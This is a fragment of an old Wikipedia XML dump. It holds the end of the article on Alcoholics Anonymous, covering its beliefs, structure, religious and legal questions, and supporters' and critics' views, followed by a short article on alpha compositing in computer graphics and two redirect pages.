A common feature of A.A. meetings is that members are asked to speak to the group about their experience with alcoholism and recovery. However, there is no requirement to speak. Some members speak every time they are asked; others simply sit and listen in meetings for years before they say anything;  some may choose never to speak.

A.A. does not charge membership fees to attend meetings, but instead relies on whatever donations members choose to give to cover basic costs like room rental, coffee, etc. Contributions from members are limited to a maximum annual amount. A.A. is self-supporting and is not a charity. It accepts no subsidies from any non-A.A. source and donations of money or other items of value from such sources are not accepted.

A.A. receives proceeds from sale of its book ''Alcoholics Anonymous'' along with other A.A. published books and literature, which are periodically reviewed from a cost standpoint so that printed materials can be priced to be self-sustaining while not actually being a source of profit for the organization.

Many A.A. groups use the famous [[Serenity Prayer]] and many AA groups in the Southern United States often close their meeting with [[The Lord's Prayer]].

==Beliefs about alcoholism==
There is no official creed of A.A. belief about alcoholism, since individual members are free to believe whatever they wish based on their own experiences. Even the core twelve step program is presented to members as suggested rather than mandatory. While AA literature states that &quot;our twelve steps are only suggestions&quot;, many more traditionally-minded members claim that today's decreased emphasis on &quot;Step Work&quot; has resulted in a drastic decline in AA's success rate. In the early days of AA, say critics of today's meeting-centered brand of Alcoholics Anonymous, the 12 Steps were mandatory and attendance at meetings were optional. They claim that during this time, AA experienced 75-90% success rates of recovery{{fact}}. In recent years however, the Fellowship has shifted its views greatly and now many veteran AA members advise newcomers that  meetings are mandatory while placing less emphasis on &quot;working the steps&quot;. Some blame this lessened emphasis on The Twelve Steps for a first-time sobriety success rate of approximately 5%, according to an internal study conducted by AA Intergroup in 1988. Other estimates put overall success rates however somewhere between 5 and 10%.  Given that AA's membership is by definition, anonymous, and its administrative body -- the General Service Office, General Service Board and annual General Service Conference -- acknowledges the importance of anonymity, no records are kept on AA members, so non-anectdotal data about success rates cannot be obtained from official AA sources.


Many A.A. members share similar views on alcoholism and most would agree with the following statements:

* '''Alcoholism has no cure.''' Once an alcoholic, always an alcoholic. There is no way to make a &quot;normal&quot; drinker out of an alcoholic. Nor is there any way to make a non-alcoholic into an alcoholic. Alcoholics who do not drink can recover and function in normal society, but should they drink again, their active alcoholism will re-emerge quickly and be as debilitating as before. This is true even in cases where alcoholics have remained sober for many years before relapsing. The concept that &quot;alcoholism has no cure&quot; is one at variance with the remarks of A.A.'s two founders--each of whom specifically stated he had been &quot;cured.&quot; So too A.A. Number Three (Bill D.) who stated he had been cured by the Lord. See Big Book, p. 191. In fact, for almost a decade after A.A.'s founding, all members from the mid-west and newspapers across U.S. trumpeted the fact that they had been cured and that the cure was reliance on the Creator. See Dick B. Cured; When Early AAs Were Cured and Why.

* '''Alcoholism is a progressive illness.''' Over time, alcoholics who continue to drink will get worse. Those who keep drinking will often die from alcohol-related causes or be institutionalized (prison, hospital or asylum).

* '''The first drink does the damage.''' Once an alcoholic takes a drink, a powerful craving for more alcohol sets in. This makes moderation or controlled drinking nearly impossible. Thus the A.A. approach of abstinence. Without the first drink, the craving cannot occur. Much of the A.A. program is intended to help the alcoholic stay stopped, thereby preventing the compulsive drinking cycle from starting.

* '''The desire to stop drinking needs to come from the alcoholic.''' This often happens as a result of the alcoholic realizing that his or her life has become unmanageable and that excessive drinking is the cause. A.A. members call this &quot;hitting bottom&quot; - a potentially life-changing moment when the alcoholic perceives an urgent need for major personal change.

* '''An Alcoholic cannot recover on his or her own.''' An alcoholic needs (or will benefit from) the fellowship of the AA program. Contact with other alcoholics provides an essential ingredient to the process of recovery. AA meetings may be important, along with reading AA materials and working the steps -- but it is working with other alcoholics, helping and being helped, talking and interacting, that allow an alcoholic to do what he or she cannot do alone -- stay sober.

==Structure==

The affairs of A.A. are governed broadly by A.A.'s [[Twelve Traditions]]. A.A. has a minimal amount of organized structure. There is no hierarchy of leaders and no formal control structure. People who accept service positions within the Fellowship are known only as &quot;trusted servants.&quot;  Individual A.A. members and groups cannot be compelled to do anything by &quot;higher&quot; A.A. authorities. Each A.A. group, small or large, is considered a self-supporting and self-governing entity. A.A. does maintain offices and service centres which have the task of co-ordinating activities like printing literature, responding to public enquiries and organizing state or national conferences. These offices are funded by local A.A. members and are directly responsible to the A.A. groups in the region or country they represent. (For more information, see A.A.'s [[Twelve Traditions]] as set out in the A.A. &quot;Big Book&quot; [http://www.aa.org/bigbookonline/ Alcoholics Anonymous] and discussed in detail in the A.A. book ''Twelve Steps and Twelve Traditions''.)

==A.A., religion and the law==

U.S. judges continue to require attendance at AA meetings as a condition of probation or parole or as an element of a sentence for defendents convicted of a crime. A federal appeals court ruled in 1999 that doing so compromises the First Amendment right not to have religion dictated to them by government - because A.A. practices and doctrine are (in the words of the district court judge who wrote Griffin v. Coughlin) &quot;unequivocally religious&quot;. The United States Supreme Court denied certiori and let this decision stand.

While A.A. World Services Inc. [the legal entity of the program as a whole] and A.A.'s General Service Office [the legal entity of A.A. in the U.S. and Canada] do not favor coercion regarding meeting attendance, their failure to unequivocally condemn the practice (and promulgate their condemnation at the cell level) is interpreted by some as tacit approval. A.A. experience long suggests that the program works best for people who seek sobriety of their own free will. The Third Tradition of A.A. states &quot;The only requirement for A.A. membership is a desire to stop drinking.&quot; Those forced to attend meetings may not have any desire to stop drinking. Nevertheless, it is true that some members claim to owe their recovery to the fact they were ordered to go to A.A. by a judge or doctor. A.A. welcomes everyone at its meetings, including those who are there only because a court or other external authority compelled them.

The A.A. program contains spiritual ideas, but it does not promote any particular [[religion]] over others, and it has worked for adherents of many faiths, including Christians, Buddhists, Jews and Muslims as well as for many who identify with no religion. Nevertheless, since it suggests that the recovering alcoholic seeks help from a &quot;Higher Power,&quot; some [[atheism|atheists]] and those not looking for a &quot;spiritual&quot; solution find themselves unable to accept A.A.'s Twelve Steps and instead seek out secular alternatives. Many others have been able to adapt the concept of a &quot;Higher Power&quot; in a manner that works for them, and there is a chapter of the book ''Alcoholics Anonymous'' called &quot;We Agnostics&quot; that speaks directly to agnostics and agnosticism.  It counsels that even those members who &quot;thought we were atheists or agnostics&quot; were able to &quot;lay aside prejudice and express even a willingness to believe in a Power greater than ourselves ... even though it was impossible for any of us to fully define or comprehend that Power, which is god&quot; and &quot;had to stop doubting the power of god&quot; because &quot;deep down in every man, woman, and child, is the fundamental idea of god.&quot; (quotes from ''Alcoholics Anonymous'', 4th Edition, p. 44, 46, 52, 55) Many alcoholics arrive at A.A. with a strong disbelief towards spiritual ideas. A.A. members usually counsel attendees with such beliefs to keep attending despite their perceived conflicting beliefs. The attitude towards these cases is usually the same as in the ''Alcoholics Anonymous'' book, they believe that eventually atheists and agnostics will &quot;come around&quot; to believing in a &quot;higher power.&quot; Many agnostics and atheists find this attitude offensive and condescending, because they interpret such statments as being tantamount to saying that atheist and agnostics have simply not thought about the implications enough to come to see what A.A. adherents see as a basic &quot;truth.&quot;  It should also be noted that many believers reject AA's spiritualism as well. 

Many alcoholics who arrive at A.A. without belief in a god use the group itself as their &quot;Higher Power.&quot;  One such alcoholic defined &quot;GOD&quot; as &quot;Group Of Drunks&quot; until he was able to discover a spiritual concept of god which worked for him. Other A.A. members point out that there are many powers greater than one's self to choose from.  The idea that this power must be God is not necessarily true for everyone.  Some A.A. members choose some principle, such as the truth, or compassion, or the law of impermanence and constant change and surrender to that principle as their &quot;higher power&quot;.  Others may focus on the program itself, defining &quot;GOD&quot; as &quot;Good Orderly Direction.&quot;  On the other hand, newcomers are cautioned that it is unwise to use any one person, such as a sponsor, as their higher power in that all individual human beings are fallible and, in the case of another recovering alcoholic, no matter how long his or her sobriety, capable of relapse.  The basic idea is that, in order to recover, the alcoholic must &quot;surrender,&quot; meaning that he or she must admit his or her powerlessness over alcohol and unmanageability of life and must stop depending only on self, while beginning to rely on help from a &quot;power greater than [one's self],&quot; whatever the precise nature of that power.  Many recovering alcoholics would agree with the statement:  &quot;I had done things my way long enough, and all it got me was drunk.  I decided it was time to start following directions.&quot;  

Ironically, it has been the experience of some A.A. &quot;old timers&quot; (recovering alcoholics with many years of uninterrupted sobriety) that active alcoholics who seek recovery in A.A. without having a prior religious concept of god may have a better chance of lasting recovery than their more religious counterparts.  This seems to be true because the former may find it easier to focus on working the program itself, instead of using previously-held religious beliefs as a rationalization for seeking an &quot;easier softer way.&quot;  However, as stated elsewhere, many people who come to A.A. with all sorts of religious beliefs, or the lack thereof, have found long-lasting recovery from alcoholism in A.A. &quot;one day at a time.&quot;

Finally, many AA members would agree with the idea that most members *begin* AA involvement as a result of some form of coercion, whether from family, a spouse, a boss or supervisor, or the courts. Even those who are not pressured by others are nonetheless pressured by circumstances -- they have &quot;hit rock bottom&quot; and decided that the pain of drinking and the consequences of drinking are too severe to be tolerated. Regardless of initial pressures, many AA members come to value their involvement with the AA program and embrace sobriety for the benefits it brings them.

==Discussion of the Merits of A.A.==

Though there is little doubt that A.A. is the number one treatment for
alcoholism in the world today, it has its detractors.

(Note: in this section, BB refers to ''The Big Book'', aka ''Alcoholics Anonymous'', 3rd Edition, by the first 100 members of Alcoholics Anonymous, and 12x12 refers to ''Twelve Steps and Twelve Traditions'', by William G. Wilson) Note: in 2001 the 4th edition of Alcoholics Anonymous, was released. The first 164 pages (including the doctors opinion), of the BB have been left intact and unchanged since the book's initial publication in 1939. The only change in each edition, aside from some minor updating of the basic text from the first to the second edition, has been the addition and/or deletion of some of the stories in the back of the book.

===AA's Supporters===

On one hand, supporters claim that AA is an indispensable support group for people seeking to free themselves of an addiction to alcohol.  Some things they cite include:

* The [[American Medical Association]] supports the disease model of alcoholism that was developed in the early part of the 20th century and embraced by AA.
* A large amount of [[anecdotal evidence]] in which people assert that joining AA saved their lives [http://www.aa-uk.org.uk/alcoholics-anonymous-reviews/2005/05/lot-of-bottle.html] [http://www.aa-uk.org.uk/alcoholics-anonymous-reviews/2005/05/i-was-taught-to-take-my-life-one-day.html] [http://www.aa.org/default/en_about_aa_sub.cfm?subpageid=68&amp;pageid=12] [http://www.aamolly.org.uk/alexg.htm]
* Long-term sobriety lengths of 20, 30, or 40 or more years are not uncommon in AA.
* Many members find that AA is [[fun]].  While meetings can be serious, they can also be filled with [[laughter]].  Social activities such as dances, picnics, and conventions are enjoyed by great numbers of AAs.  Many members discover that their fears of never again having fun after quitting drinking have proven false.  Many AA's believe that engaging in therapeutic [[recreation]] that does not include alcohol helps them to stay away from drinking.
* Because of the large number of AA groups (over 100,000 worldwide as of 2001), AA members are free to try different groups until they find groups that they enjoy.  Because AA members come from all walks of life and every segment of [[society]], there is a tremendous amount of variety within the [[fellowship]].  Not only do these facts make it difficult to [[generalize]] about AA groups, but these circumstances allow for a level of flexibility that accommodates the sobriety needs of a large spectrum of recovering alcoholics.
* The fact that AA does not require a belief in any specific higher power means that AA is not a [[religion]].  Since members are free to choose any higher power they like--including higher powers that are not spiritually based--and since members are allowed to change higher powers whenever they like, this agility facilitates a kind of [[transference]] that aids in recovery from alcoholism.  By this definition, an alcoholic is a person who has turned alcohol into a higher power.  By selecting an alternate higher power of his or her own choice and/or design, the alcoholic is able to achieve the psychological transference that topples alcohol as a higher power.  As the alcoholic progresses in [[recovery]] over months and years, this same flexibility allows the recovering alcoholic to switch to higher powers that are more individually appropriate to that AA member at that given time.
* &quot;Doing the footwork and turning over the results.&quot;  Contrary to occasional criticism, the AA program encourages members to act as individuals and to think for themselves.  Not only must they design the pace of their own programs and choose their own higher powers with which to supplant alcohol, but they must do their own &quot;footwork&quot; in all areas of their lives.  The [[individual]] in AA is fully empowered to do his or her own footwork.  When the AA program speaks of &quot;powerlessness,&quot; this applies to the ''results'' of the footwork.  This distinction is expressed in the words, &quot;Grant me the serenity to accept the things I cannot change, the courage to change the things I can, and the wisdom to know the difference.&quot;  In life, footwork is always changeable by the individual, while results are often uncertain, unpredictable, and/or out of the individual's control.
* The &quot;Toolbox Principle.&quot;  Many AA's see the program as a large &quot;toolbox.&quot;  Not everyone feels comfortable with all of the tools all of the time.  Many AA's find that they can stay sober while using some tools and not others, or using different tools at different times.  This flexibility allows members to reach for the specific help they need at specific times, then use a different kind of help as circumstances fluctuate.
* [[Enlightened self-interest]]:  Many AA's believe that in order for an alcoholic to stay sober, he or she must be in the program for him- or herself.  According to this perspective, an AA member does not work the program for the sake of his family, his job, his community, or for the sake of any AA group or AA as a whole.  An alcoholic works the program for himself, and helps others primarily because it helps oneself.
* Every AA member is free to have a sponsor of his or her own choice or not to have a sponsor at all.  Some AA's have more than one sponsor at one time.  Some AA's have a sponsor or sponsors at the beginning of sobriety, then choose not to have sponsors later on.  A member may &quot;fire&quot; a sponsor at any time, and vice versa.  Because AA members are learning to become individually empowered, it is their [[responsibility]] to select appropriate sponsors and change sponsors when necessary.  The great variety of available sponsors is another aspect of the program's flexibility in terms of the shifting needs of individual members.
* Many members and groups acknowledge that AA isn't the right program for everyone, and that there are effective alternatives for other individuals.
* The 12 steps are suggestions rather than requirements (though &quot;they are 'suggested' in the same way that, if you jump out of an airplane with a parachute, it is 'suggested' that you pull the ripcord&quot; (''Daily Reflections; A Book of Reflections by A.A. members for A.A. members'', Alcoholics Anonymous World Services, Inc., pg. 344))
* There are no official membership records, allowing members to come and go as they choose (see [[Alcoholics Anonymous#A.A..2C religion and the law|above]] for the exception to this, which AA itself does not sanction)
* Despite Bill W.'s claim that members are &quot;impersonally and severely disciplined from without&quot; in a letter to Dr. Harry Tiebout (quoted in ''Not-God: A History of Alcoholics Anonymous'', Ernest Kurtz, page 129, a book put out by a publisher which publishes much addiction literature), AA lacks any sort of formal disciplinary measures against members who fail to adhere strictly to the program
* The claim that AA is spiritual, not religious, and that the requisite Higher Power can be anything including god (as the individual understands Him, according to the [[12 steps#The twelve steps|3rd Step]]), the group itself (one [http://www.wtv-zone.com/Liandre/Liandres/400_AA_Slogans.html slogan]: &quot;G.O.D.='''G'''ood '''O'''rderly '''D'''irection), a philosophical system, a dead person, the universe, nature, a principle or anything the individual member chooses to invent.  AA philosophy acknowledges that all rational people admit the existence of powers greater than themselves, and that this is in fact one of the definitions of a [[rational]] person.
* The [http://www.wtv-zone.com/Liandre/Liandres/400_AA_Slogans.html slogan] that says to &quot;Take what you can use and leave the rest.&quot;  Members are also reminded that AA will work for them only if they work the program.
* The lack of a guru-like figure rising to fill the late Bill Wilson's shoes, lending credibility to the [http://www.wtv-zone.com/Liandre/Liandres/400_AA_Slogans.html slogan] that says &quot;principles before personalities&quot;
* According to the BB, &quot;Our primary purpose is to stay sober and to help others to achieve sobriety.&quot;  Thus, AA is not a social movement and is not involved in trying to reshape society or to affect communities or their values.  AA prefers to appeal to potential members through &quot;attraction rather than promotion.&quot;

===AA's Critics===

Specific criticisms sometimes put forth by AA's critics (some of whom go so far as to call AA a [[cult]]) include:
* There have been at least three randomized clinical trials that studied the effectiveness of AA.  Specifically: Ditman et al. 1967; Brandsma et al. 1980; Walsh et al. 1991.
**Dr. Ditman found that participation in A.A. increased the alcoholics' rate of rearrest for public drunkeness.[1]
**Dr. Brandsma found that A.A. increased the rate of binge drinking. After several months of indoctrination with A.A. 12-Step dogma, the alcoholics in A.A. were doing five times as much binge drinking as a control group that got no treatment at all, and nine times as much binge drinking as another group that got Rational Behavior Therapy. Brandsma alleges that teaching people that they are alcoholics who are powerless over alcohol yields very bad results and that it becomes a self-fulfilling prediction -- they relapse and binge drink as if they really were powerless over alcohol.[2]
**And Dr. Walsh found that the so-called &quot;free&quot; A.A. program was actually very expensive -- it messed up patients so that they required longer periods of costly hospitalization later on.[3]
* While AA acknowledged in the foreword to the second edition of the Big Book that &quot;we surely have no monopoly&quot;, one of the stories following the main text of the book still claims that AA is &quot;the ''only'' remedy&quot; to alcohol abuse (BB, pg. 259. Emphasis added.), despite some current research which shows that high percentages of alcohol abusers recover without medical treatment (''Treatment of Drug Abuse and Addiction -- Part III'', The Harvard Mental Health Letter, Volume 12, Number 4, October 1995, page 3.).  Another study suggests that AA may be &quot;no better than the natural history of the disease&quot; in keeping people alive and sober (''The Natural History of Alcoholism: Causes, Patterns, and Paths to Recovery'', George E. Vaillant, pgs. 283-286.)
* The claim that people who refuse to work the program thoroughly, or do but are not helped by it, are &quot;constitutionally incapable of being honest with themselves&quot; (BB, pg. 58.), implies that, by definition, the AA program itself is incapable of failure, provided that the alcoholic is properly motivated.  This seems to deny the existence of honest, motivated individuals for whom the program doesn't work.  (&quot;consitutionally incapable of being honest with themselves&quot; has nothing to do with motivation and everything to do with being thorough through the steps and when the truth gets to be too much, backing down and not trudging through the rough spots.)
* A lack of official checks and balances designed to keep sponsors from abusing their position (though sponsors can be fired at any time)
* Claims that alcoholics are &quot;doomed to an alcoholic death&quot; unless they decide to &quot;live on a spiritual basis&quot; (each AA member being allowed to decide for himself what &quot;spiritual basis&quot; means) (BB, pg 44) and &quot;Unless each A.A. member follows to the best of his ability our suggested Twelve Steps to recovery, he almost certainly signs his own death warrant.&quot; (12x12, pg. 174).
* In the discussion of self-centeredness, statements such as &quot;Sometimes they [other people] hurt us, seemingly without provocation, but we ''invariably'' find that at some point in the past we have made decisions based on self which later placed us in a position to be hurt.&quot; (BB, pg. 62. Emphasis added.) may be generalized so as to leave no room for instances where the victim was blameless, such as [[child sexual abuse|childhood sexual abuse]] or another form of mistreatment of either children or innocent adults unable to protect themselves. Many AA members interpret this to mean that blameless victims are at fault for continuing to be hurt by a past event, and not at fault for the past event itself. Some critics assert that this interpretation is incompatible with the text, saying that it clearly refers to the actual acts of others, not the victims' attitudes towards those acts, and suggests the problems of victims are that they have made &quot;decisions based on self&quot;, that, ''later'' place them in a position to be hurt, not that they have chosen to remain affected by earlier hurts. On the other hand, supporters assert that the &quot;decisions based on self&quot; could have been, and in the case of blameless victims, clearly were, made ''after'' the event itself that occurred.  An unofficial slogan sometimes heard in AA is &quot;There are no victims, only volunteers.&quot; This clearly indicates the belief that nobody is ever victimised in any way that they could not have avoided. (Some AA members believe that these types of statements are only intended to warn against a habitual victim mentality. Some AA members understand that people can experience either innocent bad luck or be seriously victimized through no fault of their own.) In any case, the interpretation suggests that whether one continues to be hurt by previous abuse is something one can have full choice over, whereas physical and mental trauma resulting from victimisation might be chronic and something the victim is ''truly'' powerless over.
* The claim that &quot;If we were to live, we had to be free of anger.&quot; (BB, pg. 66) when psychologists say that while anger must be [[Anger management|managed]], it is not possible or healthy to do away with it entirely.   (Some AA members interpret &quot;free of anger&quot; to mean that one should not be enslaved by their anger, be a &quot;rageaholic,&quot; or engage in habitual toxic anger, not to mean that they should have no anger at all.)
* The &quot;To Wives&quot; chapter of the Big Book being written as advice from one wife of an alcoholic to another, when it was in fact written by Bill W. himself despite his wife Lois' desire to write it (''Getting Better: Inside Alcoholics Anonymous'', Nan Robertson, page 70-71; ''Pass It On'', a publication of AA, page 200.)
* Bill W.'s frequent use of first-person plural giving the implication that all alcohol abusers have similar defects of character ([[12 steps#The twelve steps|6th Step]]) and past experiences (examples: &quot;...something had to be done about ''our'' vengeful resentments, self-pity, and unwarranted pride.&quot; 12x12, pg. 47. and &quot;''We'' never thought of making honesty, tolerance, and true love of man and [[god]] the daily basis of living.&quot; 12x12, pg. 72. Emphasis added.)
* The contradiction between the BB's claim that &quot;We will seldom be interested in liquor. &quot;If tempted, we recoil from it as from a hot flame&quot; We will see that our new attitude toward liquor has been given to us without any thought or effort on our part. It just comes! That is the [[miracle]] of it.&quot; (BB, pgs. 84-85) and Bill W.'s own statement that even co-founder Dr. Bob &quot;was bothered very badly by the temptation to drink.&quot; &quot;Unlike most of our crowd, I did not get over my craving for liquor much during the first two and one half years of abstinence.&quot; [&quot;Dr. Bob's Nightmare&quot;] (BB page 181)  On the other hand, Dr. Bob's use of the word &quot;craving&quot; is consistent with the physical cravings described by Dr. Silkworth, not with the lack of the mental obsession to ''return'' to liquor that is described.
* AA's heavy reliance on [http://www.wtv-zone.com/Liandre/Liandres/400_AA_Slogans.html numerous slogans] [http://www.recoveryresources.org/aphorisms.html] [http://www.geocities.com/HotSprings/Spa/2973/index11.html], including ones used to defer criticisms brought up during meetings, such as &quot;Take the cotton out of your ears and put it in your mouth!&quot;

====Criticisms specific to religious themes====

Critics see the following points as evidence of religious themes in AA:

* Many of the steps being adapted and altered from tenets that &quot;came straight from Dr. Bob's and (Bill W.'s) own earlier association with the [[Oxford Group]]s&quot; (''The Language of the Heart'', William G. Wilson, pg. 298), a Christian spiritual movement with which friends of theirs had been involved and which places a large emphasis on taking individual responsibility for the harm one has done to others and confession to god and another person.
* Because &quot;most alcoholics just wanted to find sobriety, nothing else&quot;, &quot;The [[Oxford Group]]s' absolute concepts ... had to be fed with teaspoons rather than by buckets.&quot; (''Alcoholics Anonymous Comes Of Age'', William G. Wilson, pgs. 74-75.)
* The statement that &quot;At the moment we are trying to put our lives in order. But this is not an end in itself. Our real purpose is to fit ourselves to be of maximum service to [[god]]&quot; (&quot;god&quot; or &quot;higher power&quot; being defined by the AA member himself, including non-spiritual, agnostic, or atheist beliefs) (BB, pg. 77)
* &quot;Being entirely ready to have god remove these defects of character&quot; ([[12 steps#The twelve steps|sixth step]]), &quot;or, if you wish, our [[sin]]s&quot; (12x12, pg. 48), and &quot;[[pray]]ing only for knowledge of His will for us and the power to carry that out&quot; ([[12 steps#The twelve steps|eleventh step]])

====Criticism of religious themes from religious groups====
Several [[Traditionalist Catholics]] have expressed misgivings about what they term &quot;the abominably liberal and indifferentist,&quot; nature of AA while at the same time acknowledging it should be cautiously tolerated to avoid the greater evil of alcoholism.[http://www.sspx.ca/Angelus/2002_September/Traditional_Catholic.htm] A small number of ultra-conservative Protestants have expressed discomfort about what they believe to be [[New Thought]], [[Society of Jesus|Jesuitic]], or even [[occult]] aspects to [[Bill W]]'s personal philosophy.

==Literature==
*''Alcoholics Anonymous Comes of Age. A Brief History of A.A.'', New York: Alcoholics Anonymous, 1990, ISBN 091685602X.
For more literature, see [[Bill W.#Literature|Bill W.]], Literature; [[Bob Smith (doctor)#Literature|Dr. Bob]], Literature; [[Twelve-step program#Literature|Twelve-step program]], Literature.
*[http://www.barefootsworld.net/aajalexpost1941.html &quot;Alcoholics Anonymous&quot; by Jack Alexander, Saturday Evening Post, March 1, 1941]
*[http://www.eskimo.com/%7Eburked/post1950/post1950.html The Drunkard's Best Friend by Jack Alexander, Saturday Evening Post, April 1, 1950]

==Dramatic Portrayals==
*''My Name is Bill W.''[http://www.imdb.com/title/tt0097939/] Story of the founders of AA
*''Days of Wine and Roses''[http://www.imdb.com/title/tt0055895/] An early portrayal of AA (1962)
*''[[South Park]]'' [http://www.imdb.com/title/tt0121955/] Parodied AA in the December 7, 2005 episode (&quot;[[Bloody_Mary_%28South_Park%29|Bloody Mary]]&quot;)
*''[[The Simpsons]]'' [[Homer Simpson]] is sentenced to attend AA meetings in the episode [[Duffless]].  In the episode [['Round Springfield]], [[Barney Gumble]] is trying AA, but quickly falls back to drinking.

==External links==
Official A.A. links -
* [http://www.aa.org/ A.A. home page]
* [http://www.aagrapevine.org/ The A.A. Grapevine]
There are many unofficial A.A. sites on the internet -
* [http://www.alcoholicsanonymous.org/ The Unofficial Website for AA Related Information]
* [http://www.ballina.net/aa Example of Regional Unofficial Site]
* [http://stayingcyber.org/ Staying Cyber: An AA Meeting for the WWW]
* [http://www.recovery.org/aa/bigbook/ww/ AA Big Book]
* [http://www.geocities.com/Heartland/Estates/7372/brainwashed.html The Washing Machine]
* [http://www.aahistory.com/ AA History and Trivia]
* [http://www.aa-intergroup.org/index.html Online Intergroup of AA]
* [http://www.xanga.com/GlennS GlennS's AA blog &amp; Friends of Bill W blogring]

===Critical links===
* [http://www.angelfire.com/blog/aaacomix Triple A Comix--AA In Satire]
* [http://www.morerevealed.com/ More Revealed: A Critical Analysis of Alcoholics Anonymous]
* [http://www.orange-papers.org/ The Orange Papers]
* [http://www.geocities.com/drugsandalcoholinfo/webpagesandpapers/mindcontroltactics.htm Allegations of &quot;Mind Control&quot; in A.A.]
* [http://oldweb.uwp.edu/academic/criminal.justice/aacult01.htm Is A.A. a Cult?]
* [http://www.morerevealed.com/books/coc/ AA Cult Or Cure?]
* [http://www.peele.net/ Stanton Peele PhD, national AA and 12-Step treatment critic]

===Links to AA alternatives===
Abstinence based programs
* [http://www.smartrecovery.org SMART Recovery]
* [http://www.secularsobriety.org/ SOS - Secular Organizations for Sobriety]
* [http://www.unhooked.com/index.htm Lifering]
* [http://www.womenforsobriety.org/ WFS - Women For Sobriety]


Moderation/[[harm reduction]] based programs
* [http://www.moderation.org MM - Moderation Management]
* [http://www.mywayout.org My Way Out]

[[Category:Alcohol abuse]]
[[Category:Addiction]]
[[Category:Drug rehabilitation]]
[[Category:Twelve-step program]]

==References==
# ''A Controlled Experiment on the Use of Court Probation for Drunk Arrests'' Keith S. Ditman, M.D., George G. Crawford, LL.B., Edward W. Forgy, Ph.D., Herbert Moskowitz, Ph.D., and Craig MacAndrew, Ph.D., American Journal of Psychiatry, 124:2, August 1967, pp. 160-163.
# ''Outpatient Treatment of Alcoholism'' Jeffrey Brandsma, Maxie Maultsby, and Richard J. Welsh. University Park Press, Baltimore, MD., page 105. 
# ''A Randomized Trial of Treatment Options for Alcohol-abusing Workers'' The New England Journal of Medicine, Volume 325, pages 775-782, September 12, 1991.
# ''The Ideology of a Therapeutic Social Movement: Alcoholics Anonymous'' Leonard Blumberg, Journal of Studies on Alcohol, vol 38, pp. 2122-42, Journal of Studies on Alcohol, Inc., Rutgers Center of Alcohol Studies, New Brunswick, NJ.
# ''Alcoholics Anonymous comes of age'' Bill W., Harper, New York, 1957.
# ''The Varieties of Religious Experience'' William James, Longman's Green, New York, 1928.
# ''Three Talks to Medical Societies by Bill W., co-founder of Alcoholics  Anonymous'' World Service, 1973.
# ''A Study in the Psychology of Religious Phenomenon'' J.H. Leuba, American Journal of Psychology, 7: 309-385, 1896.
# ''The Psychology of Religion'' E.D. Starbuck, Scribner's, New York, 1899
# ''A Study of Conversion'' E.D. Starbuck, American Journal of Psychology, 8: 268-308, 1897

[[ca:Alcohòlics anònims]]
[[da:Anonyme Alkoholikere]]
[[de:Anonyme Alkoholiker]]
[[es:Alcohólicos Anónimos]]
[[eo:Alkoholuloj Anonimaj]]
[[fr:Alcooliques Anonymes]]
[[gl:Alcólicos Anónimos]]
[[hr:Anonimni Alkoholičari]]
[[it:Alcolisti Anonimi]]
[[nl:Anonieme Alcoholisten]]
[[no:Anonyme alkoholikere]]
[[pl:Anonimowi Alkoholicy]]
[[pt:Alcoólicos Anônimos]]
[[fi:AA-liike]]
[[sv:Anonyma Alkoholister]]</text>
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  <page>
    <title>Alpha compositing</title>
    <id>2049</id>
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      <contributor>
        <ip>212.54.20.215</ip>
      </contributor>
      <text xml:space="preserve">{{merge-to|alpha blending}}

In [[computer graphics]], '''alpha compositing''' is often useful to render
image elements in separate passes, and then combine the resulting 
multiple 2D images into a single, final image in a process called 
compositing. For example, compositing is used extensively when combining 
computer rendered image elements with live footage.

In order to correctly combine these image elements, it is necessary to
keep, for each element, an associated ''matte''. This matte contains
the coverage information - the shape of the geometry being drawn - and 
allows us to distinguish between parts of the image where the geometry 
was actually drawn and other parts of the image which are empty.

To store this matte information, the concept of an '''alpha channel'''
was introduced by A.R.Smith in the late 1970s, and fully developed 
in the 1984 paper ''Compositing Digital Images'', by
Thomas Porter and Tom Duff. In a 2D image element which stores a color
for each pixel, an additional value is stored in the alpha channel
containing a value between 0 and 1. A value of 0 means that the pixel
does not have any coverage information; i.e. there was no color
contribution from any geometry because the geometry did not overlap
this pixel. A value of 1 means that the pixel is fully opaque because
the geometry completely overlapped the pixel.

If an alpha channel is used in an image, it is common to also multiply
the color by the alpha value, in order to save on additional
multiplications during the compositing process. This is usually
referred to as ''premultiplied alpha''. Thus, assuming that the pixel
color is expressed using [[RGB_color_space|RGB]] triples, a pixel value
of (0.0, 0.5, 0.0, 0.5) implies a pixel which is fully green and has
50% coverage.

With the existence of an alpha channel, it is then easy to express
useful compositing image operations, using a ''compositing algebra'' 
defined in the Duff and Porter paper. For example, given two image
elements A and B, the most common compositing operation is to combine the
images such that A appears in the foreground and B appears in the
background; this can be expressed as A '''over''' B. In addition to
'''over''', Porter and Duff defined the compositing operators '''in''',
'''out''', '''atop''', and '''xor''' (and the reverse operators
'''rover''', '''rin''', '''rout''', and '''ratop''')
from a consideration of choices in blending the colors of two
pixels when their coverage is, conceptually, overlaid orthogonally:

[[Image:Alpha_compositing.jpg]]

The '''over''' operator is, in effect, the normal painting
operation (see [[Painter's algorithm]]). The '''in''' operator is the alpha compositing equivalent of clipping.

As an example, the '''over''' operator can be
accomplished by applying the following formula to each pixel value:

:&lt;math&gt;C_o = C_a + C_b \times \left(1 - \alpha_a\right)&lt;/math&gt;

:&lt;math&gt;\alpha_o = \alpha_a + \alpha_b \times \left(1 - \alpha_a\right)&lt;/math&gt;

where C&lt;sub&gt;o&lt;/sub&gt; is the result of the operation, C&lt;sub&gt;a&lt;/sub&gt; is the
color of the pixel in element A, C&lt;sub&gt;b&lt;/sub&gt; is the color of the
pixel in element B, and &amp;alpha;&lt;sub&gt;a&lt;/sub&gt; and &amp;alpha;&lt;sub&gt;b&lt;/sub&gt; are the alpha of the pixels in elements A and B respectively. This assumes that the pixel colors of each element have already been premultiplied by alpha.

Alpha compositing on images can be done in several high-end graphics programs, including [[Adobe Photoshop]] and [[Paint Shop Pro]], and free software programs like [[GIMP]].

==See also==
*[[Alpha blending]]	
*[[RGBA color space]] 

[[de:Alphakanal]]	 
[[fi:Alfakanava]]
[[pt:Canal alfa]]	 
[[zh:阿尔法通道]]

[[Category:Computer graphics]]



{{compu-graphics-stub}}</text>
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    <title>Archaeologist</title>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Archaeology]]
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    <title>Anarchist</title>
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        <username>Enchanter</username>
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      <comment>#REDIRECT [[Anarchism]], to replace disambiguation page</comment>
      <text xml:space="preserve">#REDIRECT [[Anarchism]]</text>
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  <page>
